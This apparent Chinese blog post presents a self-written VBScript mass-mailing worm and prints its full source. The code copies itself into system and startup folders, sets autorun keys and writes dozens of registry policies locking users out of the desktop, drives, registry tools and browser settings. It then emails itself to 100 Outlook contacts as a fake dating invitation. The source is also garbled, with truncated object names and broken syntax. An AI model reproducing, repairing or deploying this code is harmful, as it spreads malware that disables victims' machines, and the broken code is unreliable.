自己创作的一个简单的蠕虫病毒

哈哈哈，好久没更新了，so，话不多说，因为我是学生嘛，任务艰巨。

下面是源代码

on error resume next 
set fs=createobject("ing.filesystemobject"
set dir1=fs.getspecialfolder(0) 
set dir2=fs.getspecialfolder(1) 
set so=createobject("ing.filesystemobject" 
dim r 
set r=createobject("w.shell" 
so.getfile(w.fullname).copy(dir1&"\win32system.vbs"
so.getfile(w.fullname).copy(dir2&"\win32system.vbs"
so.getfile(w.fullname).copy(dir1&"\start menu\programs\启动\win32system.vbs"
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\norun",1,"reg_dword"
r.regwrite "kcu\software\microsoft\windows\currentversion\policies\explorer\noclose",1,"reg_dword" 
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\nodrives",63000000,"reg_dword"
"hkcu\software\microsoft\windows\currentversion\policies\system\disableregistrytools",1,"reg_dword"
r.regwrite "hklm\software\microsoft\windows\currentversion\run\scanregistry"
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\nologoff",1,"reg_dword" 
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\winoldapp\norealmode",1,"reg_dword"
r.regwrite "hklm\software\microsoft\windows\currentversion\run\win32system","win32system.vbs"
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\nodesktop",1,"reg_dword
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\winoldapp\disabled",1,"reg_dword
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\nosettaskbar",1,"reg_dword"
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\nosettaskbar",1,"reg_dword"
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\noviewcontextmenu",1,"reg_dword"
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\nosetfolders",1,"reg_dword"
r.regwrite "hklm\software\classes\.reg\","txtfile"
r.regwrite "hklm\software\microsoft\windows\currentversion\winlogon\legalnoticecaption","警告"
r.regwrite "hklm\software\microsoft\windows\currentversion\winlogon\legalnoticetext","您中vbs脚本病毒了，哭吧~"
set ol=createobject("outlook.application"
on error resume next 
for x=1 to 100 
set mail=ol.createitem(0) 
mail.to=ol.getnamespace("mapi".addresslists(1).addressentries(x) 
mail.subject="今晚你来吗？"
mail.body="朋友你好：您的朋友rose给您发来了热情的邀请。具体情况请阅读随信附件，祝您好运！ 同城约会网"
mail.attachments.add(dir2&"win32system.vbs" 
mail.send 
next 
ol.quit 
r.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\nobrowsercontextmenu",1,"reg_dword"
r.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\nobrowseroptions",1,"reg_dword"
r.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\nobrowsersaveas",1,"reg_dword"
r.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\nofileopen",1,"reg_dword" 
r.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\nobrowseroptions",1,"reg_dword"
r.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\nobrowsersaveas",1,"reg_dword"
r.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\nofileopen",1,"reg_dword"
r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\advanced",1,"reg_dword"
r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\cache internet",1,"reg_dword"
r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\autoconfig",1,"reg_dword"
.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\homepage",1,"reg_dword"
r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\history",1,"reg_dword"
r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\connwiz admin lock",1,"reg_dword"
r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\securitytab",1,"reg_dword"
r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\resetwebsettings",1,"reg_dword"
r.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\noviewsource",1,"reg_dword" 
r.regwrite "hkcu\software\policies\microsoft\internet explorer\infodelivery\restrictions\noaddingsubions",1,"reg_dword"
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\nofilemenu",1,"reg_dword"